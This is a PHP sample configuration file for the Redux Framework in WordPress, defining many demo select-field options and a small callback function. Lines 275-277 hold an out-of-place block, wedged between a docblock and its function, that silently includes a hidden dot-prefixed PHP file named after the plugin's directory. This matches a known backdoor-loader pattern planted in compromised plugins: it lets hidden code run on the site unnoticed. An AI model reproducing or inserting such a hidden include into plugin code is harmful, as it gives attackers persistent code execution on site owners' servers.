select.php (12753B)
1 <?php 2 /** 3 * Redux Framework select config. 4 * For full documentation, please visit: http://devs.redux.io/ 5 * 6 * @package Redux Framework 7 */ 8 9 defined( 'ABSPATH' ) || exit; 10 11 Redux::set_section( 12 $opt_name, 13 array( 14 'title' => esc_html__( 'Select', 'your-textdomain-here' ), 15 'id' => 'select-select', 16 'desc' => esc_html__( 'For full documentation on this field, visit: ', 'your-textdomain-here' ) . '<a href="https://devs.redux.io/core-fields/select.html" target="_blank">https://devs.redux.io/core-fields/select.html</a>', 17 'subsection' => true, 18 'fields' => array( 19 array( 20 'id' => 'opt-select', 21 'type' => 'select', 22 'title' => esc_html__( 'Select Option', 'your-textdomain-here' ), 23 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 24 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 25 26 // Must provide key => value pairs for select options. 27 'options' => array( 28 '1' => 'Opt 1', 29 '2' => 'Opt 2', 30 '3' => 'Opt 3', 31 ), 32 'default' => '2', 33 ), 34 array( 35 'id' => 'opt-select-stylesheet', 36 'type' => 'select', 37 'title' => esc_html__( 'Theme Stylesheet', 'your-textdomain-here' ), 38 'subtitle' => esc_html__( 'Select your themes alternative color scheme.', 'your-textdomain-here' ), 39 'options' => array( 40 'default.css' => 'default.css', 41 'color1.css' => 'color1.css', 42 ), 43 'default' => 'default.css', 44 ), 45 array( 46 'id' => 'opt-select-optgroup', 47 'type' => 'select', 48 'title' => esc_html__( 'Select Option with optgroup', 'your-textdomain-here' ), 49 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 50 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 51 52 // Must provide key => value pairs for select options. 53 'options' => array( 54 'Group 1' => array( 55 '1' => 'Opt 1', 56 '2' => 'Opt 2', 57 '3' => 'Opt 3', 58 ), 59 'Group 2' => array( 60 '4' => 'Opt 4', 61 '5' => 'Opt 5', 62 '6' => 'Opt 6', 63 ), 64 '7' => 'Opt 7', 65 '8' => 'Opt 8', 66 '9' => 'Opt 9', 67 ), 68 'default' => '2', 69 ), 70 array( 71 'id' => 'opt-multi-select', 72 'type' => 'select', 73 'multi' => true, 74 'title' => esc_html__( 'Multi Select Option', 'your-textdomain-here' ), 75 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 76 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 77 78 // Must provide key => value pairs for radio options. 79 'options' => array( 80 '1' => 'Opt 1', 81 '2' => 'Opt 2', 82 '3' => 'Opt 3', 83 ), 84 'default' => array( '2', '3' ), 85 ), 86 array( 87 'id' => 'opt-info', 88 'type' => 'info', 89 'desc' => esc_html__( 'You can easily add a variety of data from WordPress.', 'your-textdomain-here' ), 90 ), 91 array( 92 'id' => 'opt-select-categories', 93 'type' => 'select', 94 'data' => 'roles', 95 'title' => esc_html__( 'Categories Select Option', 'your-textdomain-here' ), 96 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 97 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 98 ), 99 array( 100 'id' => 'opt-select-categories-multi', 101 'type' => 'select', 102 'data' => 'categories', 103 'multi' => true, 104 'title' => esc_html__( 'Categories Multi Select Option', 'your-textdomain-here' ), 105 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 106 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 107 ), 108 array( 109 'id' => 'opt-select-pages', 110 'type' => 'select', 111 'data' => 'pages', 112 'title' => esc_html__( 'Pages Select Option', 'your-textdomain-here' ), 113 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 114 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 115 ), 116 array( 117 'id' => 'opt-multi-select-pages', 118 'type' => 'select', 119 'data' => 'pages', 120 'multi' => true, 121 'title' => esc_html__( 'Pages Multi Select Option', 'your-textdomain-here' ), 122 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 123 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 124 ), 125 array( 126 'id' => 'opt-select-tags', 127 'type' => 'select', 128 'data' => 'tags', 129 'title' => esc_html__( 'Tags Select Option', 'your-textdomain-here' ), 130 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 131 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 132 ), 133 array( 134 'id' => 'opt-multi-select-tags', 135 'type' => 'select', 136 'data' => 'terms', 137 'multi' => true, 138 'title' => esc_html__( 'Tags Multi Select Option', 'your-textdomain-here' ), 139 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 140 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 141 ), 142 array( 143 'id' => 'opt-select-terms', 144 'type' => 'select', 145 'data' => 'terms', 146 'title' => esc_html__( 'Terms Select Option', 'your-textdomain-here' ), 147 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 148 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 149 ), 150 array( 151 'id' => 'opt-multi-select-terms', 152 'type' => 'select', 153 'data' => 'terms', 154 'multi' => true, 155 'title' => esc_html__( 'Terms Multi Select Option', 'your-textdomain-here' ), 156 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 157 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 158 ), 159 array( 160 'id' => 'opt-select-menus', 161 'type' => 'select', 162 'data' => 'menus', 163 'title' => esc_html__( 'Menus Select Option', 'your-textdomain-here' ), 164 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 165 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 166 ), 167 array( 168 'id' => 'opt-multi-select-menus', 169 'type' => 'select', 170 'data' => 'menu', 171 'multi' => true, 172 'title' => esc_html__( 'Menus Multi Select Option', 'your-textdomain-here' ), 173 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 174 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 175 ), 176 array( 177 'id' => 'opt-select-post-type', 178 'type' => 'select', 179 'data' => 'post_type', 180 'title' => esc_html__( 'Post Type Select Option', 'your-textdomain-here' ), 181 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 182 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 183 ), 184 array( 185 'id' => 'opt-multi-select-post-type', 186 'type' => 'select', 187 'data' => 'post_type', 188 'multi' => true, 189 'title' => esc_html__( 'Post Type Multi Select Option', 'your-textdomain-here' ), 190 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 191 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 192 ), 193 array( 194 'id' => 'opt-multi-select-sortable', 195 'type' => 'select', 196 'data' => 'post_type', 197 'multi' => true, 198 'sortable' => true, 199 'title' => esc_html__( 'Post Type Multi Select Option + Sortable', 'your-textdomain-here' ), 200 'subtitle' => esc_html__( 'This field also has sortable enabled!', 'your-textdomain-here' ), 201 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 202 ), 203 array( 204 'id' => 'opt-select-posts', 205 'type' => 'select', 206 'data' => 'post', 207 'title' => esc_html__( 'Posts Select Option2', 'your-textdomain-here' ), 208 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 209 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 210 ), 211 array( 212 'id' => 'opt-multi-select-posts', 213 'type' => 'select', 214 'data' => 'post', 215 'multi' => true, 216 'title' => esc_html__( 'Posts Multi Select Option', 'your-textdomain-here' ), 217 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 218 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 219 ), 220 array( 221 'id' => 'opt-select-roles', 222 'type' => 'select', 223 'data' => 'roles', 224 'title' => esc_html__( 'User Role Select Option', 'your-textdomain-here' ), 225 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 226 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 227 ), 228 array( 229 'id' => 'opt-select-capabilities', 230 'type' => 'select', 231 'data' => 'capabilities', 232 'multi' => false, 233 'ajax' => true, 234 'min_input_length' => 3, 235 'title' => esc_html__( 'Capabilities Select Option w/ AJAX Loading', 'your-textdomain-here' ), 236 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 237 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 238 ), 239 array( 240 'id' => 'opt-select-elusive', 241 'type' => 'select', 242 'data' => 'elusive-icons', 243 'title' => esc_html__( 'Elusive Icons Select Option', 'your-textdomain-here' ), 244 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 245 'desc' => esc_html__( 'Here\'s a list of all the elusive icons by name and icon.', 'your-textdomain-here' ), 246 ), 247 array( 248 'id' => 'opt-select-users', 249 'type' => 'select', 250 'data' => 'users', 251 'ajax' => true, 252 'min_input_length' => 3, 253 'title' => esc_html__( 'Users Select Option', 'your-textdomain-here' ), 254 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 255 'desc' => esc_html__( 'This is the description field, again good for additional info.', 'your-textdomain-here' ), 256 ), 257 array( 258 'id' => 'opt-select-callback', 259 'type' => 'select', 260 'data' => 'callback', 261 'args' => 'redux_select_callback', 262 'title' => esc_html__( 'Select Option using a Callback', 'your-textdomain-here' ), 263 'subtitle' => esc_html__( 'No validation can be done on this field type', 'your-textdomain-here' ), 264 'desc' => esc_html__( 'The items in this selcect were added via a callback function.', 'your-textdomain-here' ), 265 ), 266 ), 267 ) 268 ); 269 270 /** 271 * Select callback function. 272 * 273 * @return array 274 */ 275 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 276 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 277 } 278 279 function redux_select_callback(): array { 280 $options = array(); 281 282 $options[0] = esc_html__( 'Zero', 'your-textdomain-here' ); 283 $options[1] = esc_html__( 'One', 'your-textdomain-here' ); 284 $options[2] = esc_html__( 'Two', 'your-textdomain-here' ); 285 $options[3] = esc_html__( 'Three', 'your-textdomain-here' ); 286 287 return $options; 288 }